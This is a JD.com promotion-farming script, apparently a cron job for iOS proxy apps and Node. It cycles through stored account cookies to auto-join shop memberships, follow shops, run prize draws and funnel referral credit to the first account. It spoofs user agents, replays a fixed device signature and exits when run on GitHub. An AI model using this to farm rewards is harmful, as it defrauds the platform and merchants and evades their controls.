script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard10.js,tag=8.11-8.18 大牌联合 约惠一夏 + +===============Surge================= +8.11-8.18 大牌联合 约惠一夏 = type=cron,cronexp="30 0,22 11-18 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard10.js + +============小火箭========= +8.11-8.18 大牌联合 约惠一夏 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard10.js, cronexpr="30 0,22 11-18 8 *", timeout=3600, enable=true +*/ +const $ = new Env('8.11-8.18 大牌联合 约惠一夏'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let guaopencard_addSku = false +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if ($.isNode()) { + if (!process.env.guaopencard10 || process.env.guaopencard10 == "false") { + console.log('如需执行脚本请设置环境变量[guaopencard10]为"true"') + return + } + guaopencard_addSku = process.env.guaopencard_addSku10 + if (!process.env.guaopencard_addSku10 || process.env.guaopencard_addSku10 == "false") { + console.log('如需加购请设置环境变量[guaopencard_addSku10]为"true"') + } + } + $.shareUuid = 'dc4ebdd412df4b41a538f21916ef80cd' + $.activityId = 'b856fb097683415facd1ae733672de9e' + console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await run(); + if(i == 0 && !$.actorUuid) return + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run(){ + try{ + $.isvObfuscatorToken = $.LZ_TOKEN_KEY = $.LZ_TOKEN_VALUE = '' + await getWxCommonInfoToken(); + await getIsvObfuscatorToken(); + if($.isvObfuscatorToken == '' || $.LZ_TOKEN_KEY == '' || $.LZ_TOKEN_VALUE == ''){ + console.log('获取[token]失败!') + return + } + await getSimpleActInfoVo() + $.myPingData = await getMyPing() + if ($.myPingData ==="" || $.myPingData === '400001' || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { + $.log("获取活动信息失败!") + return + } + await getHtml(); + await adLog(); + $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + await getUserInfo(); + $.actorUuid = ''; + await getActorUuid(); + if(!$.actorUuid){ + console.log('获取不到[actorUuid]退出执行,请重新执行') + return + } + await drawContent(); + await $.wait(1000) + let checkOpenCardData = await checkOpenCard(); + if (checkOpenCardData && !checkOpenCardData.allOpenCard) { + let flag = true + for (let cardList1Element of checkOpenCardData.cardList1) { + if(cardList1Element.status == 0){ + if(flag) console.log('组1') + if(flag) flag = false + console.log(cardList1Element.name) + await join(cardList1Element.value) + await $.wait(1000) + await drawContent(); + } + } + flag = true + for (let cardList1Element of checkOpenCardData.cardList2) { + if(cardList1Element.status == 0){ + if(flag) console.log('组2') + if(flag) flag = false + console.log(cardList1Element.name) + await join(cardList1Element.value) + await $.wait(1000) + await drawContent(); + } + } + await $.wait(1000) + await drawContent(); + checkOpenCardData = await checkOpenCard(); + await $.wait(1000) + } + if(checkOpenCardData && checkOpenCardData.score1 == 1) await startDraw(1) + if(checkOpenCardData && checkOpenCardData.score2 == 1) await startDraw(2) + $.log("关注: " + $.followShop) + if(!$.followShop) await followShop(); + if(!$.followShop) await $.wait(1000) + $.log("加购: " + $.addSku) + if(!$.addSku && guaopencard_addSku+"" != "true") console.log('如需加购请设置环境变量[guaopencard_addSku10]为"true"'); + if(!$.addSku && guaopencard_addSku) await addSku(); + if(!$.addSku && guaopencard_addSku) await $.wait(1000) + await getActorUuid() + await $.wait(1000) + await getDrawRecordHasCoupon() + await $.wait(1000) + await getShareRecord() + $.log($.shareUuid) + if ($.index === 1) { + if($.actorUuid){ + $.shareUuid = $.actorUuid; + console.log(`后面的号都会助力:${$.shareUuid}`) + }else{ + console.log('账号1获取不到[shareUuid]退出执行,请重新执行') + return + } + } + }catch(e){ + console.log(e) + } +} +function getDrawRecordHasCoupon() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + console.log(`我的奖品:`) + let num = 0 + let value = 0 + for(let i in res.data){ + let item = res.data[i] + if(item.value == '邀请好友') num++; + if(item.value == '邀请好友') value = item.infoName.replace('京豆',''); + if(item.value != '邀请好友') console.log(`${item.infoType != 10 && item.value +':' || ''}${item.infoName}`) + } + if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 30}京豆`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`我的奖品 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getShareRecord() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getShareRecord', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + $.log(`=========== 你邀请了:${res.data.length}个`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function addSku() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=2&taskValue=3200732` + $.post(taskPostUrl('/dingzhi/dz/openCard/saveTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + let msg = '' + if(res.data.addBeanNum){ + msg = `${res.data.addBeanNum}京豆` + } + console.log(`加购获得:${ msg || '空气💨'}`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`加购 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function followShop() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=23&taskValue=1000003904` + $.post(taskPostUrl('/dingzhi/dz/openCard/followShop', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + let msg = '' + if(res.data.addBeanNum){ + msg = `${res.data.addBeanNum}京豆` + } + if(res.data.beanNumMember && res.data.assistSendStatus){ + msg += ` 额外获得:${res.data.beanNumMember}京豆` + } + console.log(`关注获得:${ msg || '空气💨'}`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`关注 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + // console.log($.toStr(data.result)) + // console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.success === true){ + if(res.result && res.result.giftInfo){ + for(let i of res.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(typeof res == 'object' && res.message){ + console.log(`${res.message || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} + +function startDraw(type) { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&type=${type}` + $.post(taskPostUrl('/dingzhi/dz/openCard/startDraw', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // $.log($.toStr(data)) + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + console.log(`抽奖获得:${res.data.drawOk && res.data.name || '空气💨'}`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`抽奖 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function checkOpenCard() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/dz/openCard/checkOpenCard', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + if(typeof res !== 'object'){ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(res && res.data || ''); + } + }) + }) +} + + +function drawContent() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/openCardcommon/drawContent`, + body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getActorUuid() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activityContent`, + body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.myPingData.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.followShop.allStatus != 'undefined') $.followShop = res.data.followShop.allStatus + if(typeof res.data.addSku.allStatus != 'undefined') $.addSku = res.data.addSku.allStatus + if(typeof res.data.actorUuid != 'undefined') $.actorUuid = res.data.actorUuid + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`activityContent ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getUserInfo() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/wxActionCommon/getUserInfo`, + body: `pin=${encodeURIComponent($.myPingData.secretPin)}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getUserInfo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function adLog() { + return new Promise(resolve => { + let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}` + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, + body: `venderId=${$.venderId}&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // data = JSON.parse(data); + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + let LZ_TOKEN_KEY = setcookie.filter(row => row.indexOf("LZ_TOKEN_KEY") !== -1)[0] + if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ + $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' + $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getHtml() { + return new Promise(resolve => { + $.get({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'X-Requested-With': 'com.jingdong.app.mall', + 'Cookie': `IsvToken=${$.isvObfuscatorToken}; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getMyPing() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + body: `userId=${$.shopId || $.venderId}&token=${$.isvObfuscatorToken}&fromType=APP`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] + $.lz_jdpin_token = '' + if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ + $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(res.data || ''); + } + }) + }) +} +function getSimpleActInfoVo() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dz/common/getSimpleActInfoVo`, + body: `activityId=${$.activityId}`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId + if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getWxCommonInfoToken () { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Origin':'https://lzdz1-isv.isvjcloud.com', + 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} wxCommonInfo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.LZ_TOKEN_KEY != 'undefined') $.LZ_TOKEN_KEY = res.data.LZ_TOKEN_KEY + if(typeof res.data.LZ_TOKEN_VALUE != 'undefined') $.LZ_TOKEN_VALUE = res.data.LZ_TOKEN_VALUE + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`token ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getIsvObfuscatorToken () { + return new Promise(resolve => { + $.post({ + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=68&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=3c9b9db164cc8d694603ca6e3d7fb003&st=1628423908868&sv=102&uemps=0-0&uts=0f31TVRjBSuihfC/1D/2G8oVbUW0Pu4uJDif0Ehi7AVzM40fF9GfNX0yawFyBpTXK/PgWitxArFfBLGK%2Be2W5Pno6b7J4iivmXiQYbYPZi7fbVYEHb8Xa5JAi/fbdr/QeztGPJhLoPHKsXGU39PgzC1cWUEVezUyvHVtAuVQGBR%2Bj6Cx5kcez%2BkVn3IH8dKrAI6kA/Ct%2BQopU%2BROo1oY2w%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'api.m.jd.com', + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(typeof res.token != 'undefined') $.isvObfuscatorToken = res.token + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(url, body) { + return { + url: `https://lzdz1-isv.isvjcloud.com${url}`, + body: body, + headers: { + "Accept": "application/json", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + "Host": "lzdz1-isv.isvjcloud.com", + "Origin": "https://lzdz1-isv.isvjcloud.com", + "X-Requested-With": "XMLHttpRequest", + "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + "User-Agent": $.UA , + } + } +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let 